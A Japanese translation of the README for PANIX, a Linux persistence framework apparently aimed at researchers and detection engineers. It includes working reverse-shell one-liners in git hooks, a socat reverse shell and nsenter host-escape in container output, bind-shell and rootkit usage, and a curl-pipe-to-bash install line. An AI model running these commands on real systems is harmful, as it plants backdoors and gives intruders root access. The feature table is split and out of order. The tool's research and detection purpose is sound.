
セキュリティ研究と検知エンジニアリング向けのカスタマイズ可能なLinux永続化ツール。

PANIX は、セキュリティ研究者、検知エンジニア、ペネトレーションテスター、CTF 愛好家などを対象とした、強力でモジュール式、かつ高度にカスタマイズ可能な Linux 永続化フレームワークです。汎用性を重視して設計された PANIX は、幅広い永続化テクニックの理解と実装に欠かせないツールとして機能します。

PANIX は、Linux 永続化メカニズムのシミュレーションと研究のための多用途な機能スイートを提供します。
| 機能 | 説明 | Root | User |
|---|---|---|---|
| at ジョブ永続化 | システムジョブにエントリを追加して永続化を実装します。 | ✅ | ✅ |
| 認証済み鍵 | SSH アクセスのために authorized_keys ファイルに公開鍵を追加します。 | ✅ | ✅ |
| バックドアユーザー | UID=0(root 権限)のバックドアユーザーを作成します。 | ✅ | ❌ |
| システムユーザーのバックドア化 | システムユーザーをバックドア化します(news/nobody への SSH アクセス)。 | ✅ | ❌ |
| バックドア化された /etc/passwd | /etc/passwd に悪意のあるユーザーエントリを直接追加します。 | ✅ | ❌ |
| バックドア化された /etc/init.d | SysVinit(/etc/init.d)を介して永続化を確立します。 | ✅ | ❌ |
| バックドア化された /etc/rc.local | ランコントロール(/etc/rc.local)を介して永続化を確立します。 | ✅ | ❌ |
| バインドシェル | リモートアクセスのためにプリコンパイル済み/LOLBin バインドシェルを実行します。 | ✅ | ✅ |
| ケーパビリティバックドア | バイナリに特定のケーパビリティを追加して永続化を維持します。 | ✅ | ❌ |
| cron ジョブ永続化 | 再起動後も永続化を確保するために cron ジョブを設定します。 | ✅ | ✅ |
| ユーザー作成 | システムに新しいユーザーアカウントを作成します。 | ✅ | ❌ |
| D-Bus バックドア | root リバースシェルアクセスのための D-Bus サービスを作成します。 | ✅ | ❌ |
| Diamorphine ルートキット | Diamorphine ローダブルカーネルモジュールルートキットをインストールします。 | ✅ | ❌ |
| initramfs 永続化 | 再起動時に UID=0 のバックドアユーザーを initramfs に注入します。 | ✅ | ❌ |
| Git 永続化 | Git フックまたはページャを利用して Git リポジトリ内で永続化します。 | ✅ | ✅ |
| ジェネレータ永続化 | systemd ジェネレータを活用して永続的なサービスを作成します。 | ✅ | ❌ |
| GRUB バックドア | GRUB を操作して起動時にバックドアを実行します。 | ✅ | ❌ |
| 悪意のあるコンテナ | ホストエスケープを目的とした Docker コンテナを展開します。 |

PANIX は、さまざまな Linux ディストリビューションにわたる包括的なサポートを提供します。
カスタムまたは古い Linux ディストリビューションでは、設定が異なっていたり、特定の機能が欠けていたりする場合があり、テストされていないバージョンではメカニズムが失敗することがあります。デフォルトのコマンドが失敗した場合は、ほとんどの機能で利用可能な --custom フラグを使用して、環境に合わせてパスとコマンドを調整してください。それでも問題が解決しない場合は、スクリプトを確認してニーズに合わせて変更してください。
新機能、アップデート、アイデアに関するプルリクエストや issue による貢献はいつでも歓迎します!

PANIX リポジトリは、モジュール性、保守性、拡張の容易さを考慮して設計されています。各永続化メカニズムにはセットアップスクリプトとリバートスクリプトが含まれており、管理と削除を簡素化します。```plaintext PANIX/ ├── main.sh # Core logic and argument parsing. ├── modules/ # Persistence mechanism scripts. │ ├── common.sh # Shared functions. │ ├── setup_*.sh # Setup scripts. │ └── revert/ # Revert scripts. ├── build.sh # Builds the distributable script. ├── panix.sh # Final distributable script. └── README.md # Documentation.
## 主な利点
- **ペア設定&元に戻す**: 各 `setup_*.sh` には対応する `revert_*.sh` があり、永続化メカニズムの削除が容易です。
- **モジュール設計**: コアスクリプトに影響を与えずに、既存のモジュールを簡単に変更したり、新しいモジュールを追加したりできます。
- **簡単な拡張**: 新しい機能を追加するには:
1. `modules/` に新しい `setup_*.sh` を作成します。
2. `modules/revert/` に対応する `revert_*.sh` を追加します。
3. `main.sh` を更新して新しいスクリプトを含めます。
4. `common.sh` を更新して、モジュールをヘルプメニューに含めます。
4. `build.sh` を実行して、更新された `panix.sh` を生成します。

# はじめに
PANIX の起動と実行は、[リリースページ](https://github.com/Aegrah/PANIX/releases/tag/panix-v2.1.0)からスクリプトをダウンロードして実行するのと同じくらい簡単です。```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh | bash
または、ダウンロードして手動で実行してください:```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -o panix.sh wget https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -O panix.sh
chmod +x panix.sh ./panix.sh
スクリプトを実行すると、現在のユーザーの権限に応じて、`root` または `user` のヘルプメニューが表示されます。```
panix@panix-demo:~$ sudo ./panix.sh
__
|__) /\ |\ | | \_/
| /~~\ | \| | / \
@RFGroenewoud
Root User Options:
--at At job persistence
--authorized-keys Add public key to authorized keys
--backdoor-user Create backdoor user
--backdoor-system-user Create backdoor system user
--bind-shell Execute backgrounded bind shell
--cap Add capabilities persistence
--create-user Create a new user
--cron Cron job persistence
--dbus D-Bus service persistence
--generator Generator persistence
--git Git hook/pager persistence
--grub GRUB bootloader persistence
--initd SysV Init (init.d) persistence
--initramfs Initramfs persistence
--ld-preload LD_PRELOAD backdoor persistence"
--lkm Loadable Kernel Module (LKM) persistence
--malicious-container Docker container with host escape"
--malicious-package Build and Install a package for persistence (DPKG/RPM)
--motd Message Of The Day (MOTD) persistence (not available on RHEL derivatives)
--network-manager NetworkManager dispatcher script persistence
--package-manager Package Manager persistence (APT/YUM/DNF)
--pam Pluggable Authentication Module (PAM) persistence (backdoored PAM & pam_exec)
--passwd-user Add user to /etc/passwd directly
--password-change Change user password
--polkit Allow pkexec as any user through Polkit
--rc-local Run Control (rc.local) persistence
--reverse-shell Reverse shell persistence (supports multiple LOLBins)"
--rootkit Diamorphine (LKM) rootkit persistence
--shell-profile Shell profile persistence
--ssh-key SSH key persistence
--sudoers Sudoers persistence
--suid SUID persistence
--system-binary System binary persistence
--systemd Systemd service persistence
--udev Udev (driver) persistence
--web-shell Web shell persistence (PHP/Python)
--xdg XDG autostart persistence
--revert Revert changes made by PANIX' default options
--mitre-matrix Display the MITRE ATT&CK Matrix for PANIX
--quiet (-q) Quiet mode (no banner)

このスクリプトはほぼ自己説明的ですが、このセクションではPANIXの操作方法の例をいくつか示します。
各永続化メカニズムには、個別のヘルプメニューがあります。``` ruben@ubuntu2204:~$ sudo ./panix.sh --udev --help Usage: ./panix.sh --udev [OPTIONS] --examples Display command examples -default Use default udev settings --ip Specify IP address --port Specify port number --sedexp | --at | --cron | --systemd Specify the mechanism to use --custom Use custom udev settings --command Specify custom command --path Specify custom path --help|-h Show this help message
すべての永続化メカニズムには `--examples` フラグも用意されており、デフォルトの例とカスタムの例が表示されるため、自分に合ったコマンドの作成に役立ちます。```
ruben@ubuntu2204:~$ ./panix.sh --git --examples
Examples:
--default:
./panix.sh --git --default --ip 10.10.10.10 --port 1337 --hook|--pager
--custom:
./panix.sh --git --custom --command "(nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 &) &" --path "gitdir/.git/hooks/pre-commit" --hook
./panix.sh --git --custom --command "nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 & ${PAGER:-less}" --path "~/.gitconfig --pager"
永続化メカニズムのほとんどは非常に単純で、(うまくいけば)あまり説明を必要としないでしょう。例えば、systemdの永続化は、以下のコマンドを実行するだけで設定できます:``` ruben@ubuntu2204:~$ sudo ./panix.sh --systemd --default --ip 10.10.10.10 --port 1337 Service file created successfully! Timer file created successfully! Created symlink /etc/systemd/system/timers.target.wants/dbus-org.freedesktop.resolved.timer → /usr/local/lib/systemd/system/dbus-org.freedesktop.resolved.timer. [+] Systemd service persistence established!
永続化メカニズムを設定する際、スクリプトはそれが機能したかどうかを通知し、永続化メカニズムを操作するために情報が必要な場合には、追加情報が提供されます。例えば、バインドシェルメカニズム:```
ruben@ubuntu2204:~$ sudo ./panix.sh --bind-shell --default --architecture x64
[+] Bind shell binary /tmp/bd64 created and executed in the background.
[+] The bind shell is listening on port 9001.
[+] To interact with it from a different system, use: nc -nv <IP> 9001
[+] Bind shell persistence established!
バインドシェルと対話できるようにする:``` ❯ nc -nv 192.168.211.130 9001 (UNKNOWN) [192.168.211.130] 9001 (?) open whoami root
同じことは、組み込みの root ホストエスケープを備えた Docker 永続化メカニズムなど、追加の組み込み機能を持つメカニズムにも当てはまります:```
ruben@ubuntu2204:~$ sudo ./panix.sh --malicious-container --ip 192.168.211.131 --port 330
[+] Building 10.4s (9/9) FINISHED docker:default
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 722B 0.0s
=> [internal] load metadata for docker.io/library/alpine:latest 2.1s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [1/5] FROM docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.8s
=> => resolve docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.0s
=> => sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 1.85kB / 1.85kB 0.0s
=> => sha256:dabf91b69c191a1a0a1628fd6bdd029c0c4018041c7f052870bb13c5a222ae76 528B / 528B 0.0s
=> => sha256:a606584aa9aa875552092ec9e1d62cb98d486f51f389609914039aabd9414687 1.47kB / 1.47kB 0.0s
=> => sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 3.62MB / 3.62MB 0.4s
=> => extracting sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 0.2s
=> [2/5] RUN apk add --no-cache bash socat sudo util-linux procps 4.4s
=> [3/5] RUN adduser -D lowprivuser 0.6s
=> [4/5] RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh && echo 'while true; do /bin/bash -c "socat exec:\"/bin/bash\",pty,stderr,setsid,sigint,sane tcp:192.168.211.131:330" 0.8s
=> [5/5] RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh && echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' >> /usr/local/bin/escape.sh && chmod +x /usr/local/bin/escape.sh && ec 0.8s
=> exporting to image 0.6s
=> => exporting layers 0.6s
=> => writing image sha256:b36eb0d13ee1a0c57c3e6a1ee0255ef474986f44d65b177c539b2ffb1d248790 0.0s
=> => naming to docker.io/library/malicious-container 0.0s
86ce6b00e872bb8c21d0dae21e747e830bb70b44ab7946558e563bf7f4b626ef
[+] Persistence through malicious Docker container complete.
[+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'.
コンテナからエスケープしてホストにアクセスする方法が正確に示されています。``` ❯ nc -nvlp 330 listening on [any] 330 ... connect to [192.168.211.131] from (UNKNOWN) [192.168.211.130] 43400 86ce6b00e872:/$ /usr/local/bin/escape.sh /usr/local/bin/escape.sh root@ubuntu2204:~#
## 元に戻す仕組み
PANIX は `--revert` コマンドを使用して、その後の始末を行うことができます。個別のモジュールの両方に対して:```
ruben@ubuntu2204:~$ sudo ./panix.sh --revert rootkit
######################### [+] Reverting rootkit module... #########################
[+] Sending 'kill -63 0' to unload the rootkit module...
[+] Signal sent successfully.
[+] Identifying loaded rootkit kernel modules in /dev/shm/.rk...
[+] Unloading rootkit rkit...
[+] Kernel module 'rkit' unloaded successfully.
[+] Rootkit rkit unloaded successfully.
[+] Removing kernel module files from /dev/shm/.rk...
[+] Removed file: /dev/shm/.rk/restore_rkit.ko
[+] Removed directory: /dev/shm/.rk
[+] Removing downloaded files in /tmp...
[-] Directory not found: /tmp/diamorphine
[-] File not found: /tmp/diamorphine.zip
[+] Removed file: /tmp/diamorphine.tar
[-] Directory not found: /tmp/Diamorphine.git
[+] Reloading kernel modules...
[+] Kernel modules reloaded successfully.
そして、すべてのモジュールについて:``` ruben@ubuntu2204:~$ sudo ./panix.sh --revert all
[+] Running full reversion with --revert-all... [+] Reverting all modules...
######################### [+] Reverting revert_at... #########################
Error: 'at' binary is not present. Cannot revert 'at' jobs. [-] Failed to revert revert_at. Exit Code: 1
######################### [+] Reverting revert_authorized_keys... #########################
[-] Backup file /root/.ssh/authorized_keys.bak not found. No changes made. [+] revert_authorized_keys reverted successfully.
######################### [+] Reverting revert_backdoor_user... #########################
[+] No backdoor users found. [+] revert_backdoor_user reverted successfully.
######################### [+] Reverting revert_bind_shell... #########################
[+] Searching for bind shell processes and killing them if present... [+] revert_bind_shell reverted successfully.
[...]
[+] Reversion of all modules complete.
## MITRE ATT&CK マトリックス
PANIXには、利用可能なテクニックとサブテクニックを表示する組み込みのMITRE ATT&CKマトリックスがあります。```
ruben@ubuntu2204:~$ ./panix.sh --mitre-matrix
MITRE ATT&CK Matrix - Persistence Techniques Supported by PANIX
Persistence Method Technique Name Technique ID Sub-technique Name Sub-technique ID URL
------------------- -------------- ------------- ----------------- --------------- ---------------------------------------------
--at Scheduled Task T1053 At T1053.002 https://attack.mitre.org/techniques/T1053/002
--authorized-keys Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--backdoor-user Create Account T1136 Local Account T1136.001 https://attack.mitre.org/techniques/T1136/001
--backdoor-system-user Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--bind-shell Command and Scripting Interpreter T1059 Unix Shell T1059.004 https://attack.mitre.org/techniques/T1059/004
--cap Abuse Elevation Control Mechanism T1548 N/A N/A https://attack.mitre.org/techniques/T1548
--create-user Create Account T1136 Local Account T1136.001 https://attack.mitre.org/techniques/T1136/001
--cron Scheduled Task T1053 Cron T1053.003 https://attack.mitre.org/techniques/T1053/003
--dbus Create or Modify System Process T1543 N/A N/A https://attack.mitre.org/techniques/T1543
--generator Create or Modify System Process T1543 Systemd Service T1543.002 https://attack.mitre.org/techniques/T1543/002
--git Event Triggered Execution T1546 N/A N/A https://attack.mitre.org/techniques/T1546
--grub Pre-OS Boot T1542 N/A N/A https://attack.mitre.org/techniques/T1542
--initd Boot or Logon Initialization Scripts T1037 N/A N/A https://attack.mitre.org/techniques/T1037
--initramfs Pre-OS Boot T1542 N/A N/A https://attack.mitre.org/techniques/T1542
--ld-preload Hijack Execution Flow T1574 Dynamic Linker Hijacking T1574.006 https://attack.mitre.org/techniques/T1574/006
--lkm Boot or Logon Autostart Execution T1547 Kernel Modules and Extensions T1547.006 https://attack.mitre.org/techniques/T1547/006
--malicious-container Escape to Host T1610 N/A N/A https://attack.mitre.org/techniques/T1610
--malicious-package Event Triggered Execution T1546 Installer Packages T1546.016 https://attack.mitre.org/techniques/T1546/016
--motd Boot or Logon Initialization Scripts T1037 N/A N/A https://attack.mitre.org/techniques/T1037
--network-manager Event Triggered Execution T1546 N/A N/A https://attack.mitre.org/techniques/T1546
--package-manager Event Triggered Execution T1546 Installer Packages T1546.016 https://attack.mitre.org/techniques/T1546/016
--pam Modify Authentication Process T1556 Pluggable Authentication Modules T1556.003 https://attack.mitre.org/techniques/T1556/003
--passwd-user Account Manipulation T1098 N/A N/A https://attack.mitre.org/techniques/T1098
--password-change Account Manipulation T1098 N/A N/A https://attack.mitre.org/techniques/T1098
--polkit Modify Authentication Process T1556 N/A N/A https://attack.mitre.org/techniques/T1556
--rc-local Boot or Logon Initialization Scripts T1037 RC Scripts T1037.004 https://attack.mitre.org/techniques/T1037/004
--reverse-shell Command and Scripting Interpreter T1059 Unix Shell T1059.004 https://attack.mitre.org/techniques/T1059/004
--rootkit Rootkit T1014 N/A N/A https://attack.mitre.org/techniques/T1014
--shell-profile Event Triggered Execution T1546 Unix Shell Configuration Modification T1546.004 https://attack.mitre.org/techniques/T1546/004
--ssh-key Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--sudoers Abuse Elevation Control Mechanism T1548 Sudo and Sudo Caching T1548.003 https://attack.mitre.org/techniques/T1548/003
--suid Abuse Elevation Control Mechanism T1548 Setuid and Setgid T1548.001 https://attack.mitre.org/techniques/T1548/001
--system-binary Compromise Host Software Binary T1554 N/A N/A https://attack.mitre.org/techniques/T1554
--systemd Create or Modify System Process T1543 Systemd Service T1543.002 https://attack.mitre.org/techniques/T1543/002
--udev Event Triggered Execution T1546 Udev Rules T1546.017 https://attack.mitre.org/techniques/T1546/017
--web-shell Server Software Component T1505 Web Shell T1505.003 https://attack.mitre.org/techniques/T1505/003
--xdg Boot or Logon Autostart Execution T1547 XDG Autostart Entries T1547.013 https://attack.mitre.org/techniques/T1547/013
Legend:
Technique: High-level MITRE ATT&CK technique.
Sub-Technique: Specific sub-technique under a high-level technique.
N/A: No specific sub-technique defined for this method.
URL: Link to the official MITRE ATT&CK page for further details.

PANIX が活用されている出版物:
(Linux) セキュリティ研究の最新情報については、お気軽に私のソーシャルメディアをチェックしてください。

PANIX を共有することで、他のユーザーがセキュリティ体制のテストと改善を行えるよう支援し、Linux セキュリティにおける新しい検知機能の開発を促進することができます。

PANIX は、許可されたセキュリティテストおよび研究目的でのみ使用することを意図しています。悪意のある活動へのこのツールの悪用は容認されず、すべてユーザー自身の責任になります。PANIX を使用することで、ご自身の行動に責任を負うことに同意したものとみなされます。愚かなことはしないでください。
| ✅ |
| ✅ |
| 悪意のあるパッケージ | DPKG/RPM パッケージをインストールして永続化を実現します。 | ✅ | ❌ |
| NetworkManager | ネットワークアクション発生時に永続化するディスパッチャスクリプトをインストールします。 | ✅ | ❌ |
| LD_PRELOAD バックドア | LD_PRELOAD を使用して悪意のあるライブラリを注入し、永続化を図ります。 | ✅ | ❌ |
| LKM バックドア | 永続化を維持するためにローダブルカーネルモジュールをロードします。 | ✅ | ❌ |
| MOTD バックドア | メッセージオブザデイ(MOTD)を変更して永続化を確立します。 | ✅ | ❌ |
| パッケージマネージャ | APT/YUM/DNF を操作して、使用時に永続化を確立します。 | ✅ | ❌ |
| PAM 永続化 | 不正なモジュールまたは pam_exec を使用して PAM バックドアをインストールします。 | ✅ | ❌ |
| パスワード変更 | バックドアアカウントを保護するためにユーザーパスワードを変更します。 | ✅ | ❌ |
| Polkit バックドア | 過度に寛容な Polkit 設定バックドアを作成します。 | ✅ | ❌ |
| リバースシェル | リバースシェルを確立します(複数の LOLBin をサポート)。 | ✅ | ✅ |
| シェルプロファイル永続化 | ユーザーログイン時にスクリプトを実行するようシェルプロファイルを変更します。 | ✅ | ✅ |
| SSH 鍵永続化 | SSH 経由の永続的なアクセスを維持するために SSH 鍵を操作します。 | ✅ | ✅ |
| sudoers バックドア | /etc/sudoers ファイルを変更して昇格した特権を付与します。 | ✅ | ❌ |
| SUID バックドア | SUID ビットを設定してバイナリをバックドア化します。 | ✅ | ❌ |
| システムバイナリバックドア | バックドア機能を含むようにシステムバイナリをラップします。 | ✅ | ❌ |
| systemd サービス | 再起動時の永続化を保証する systemd サービスを作成します。 | ✅ | ✅ |
| udev 永続化 | ドライバを利用してハードウェア対話レベルで永続化します。 | ✅ | ❌ |
| Web シェル永続化 | Web インターフェースを介したリモートアクセス用に Web サーバーを展開します。 | ✅ | ✅ |
| XDG 自動起動 | XDG 自動起動ディレクトリを使用してユーザーログイン時に永続化します。 | ✅ | ✅ |
| ディストリビューション | サポート | テスト済みバージョン |
|---|
| Debian | ✅ | Debian 11 & 12 |
| Ubuntu | ✅ | Ubuntu 22.04(Diamorphine は利用不可) |
| RHEL | ✅ | RHEL 9(MOTD および Pre-OS 起動テクニックは利用不可) |
| CentOS | ✅ | CentOS Stream 9 & 7(MOTD および Pre-OS 起動テクニックは利用不可) |
| Fedora | ✅ | 完全にはテストされていません |
| Arch Linux | ✅ | 完全にはテストされていません |
| OpenSUSE | ✅ | 完全にはテストされていません |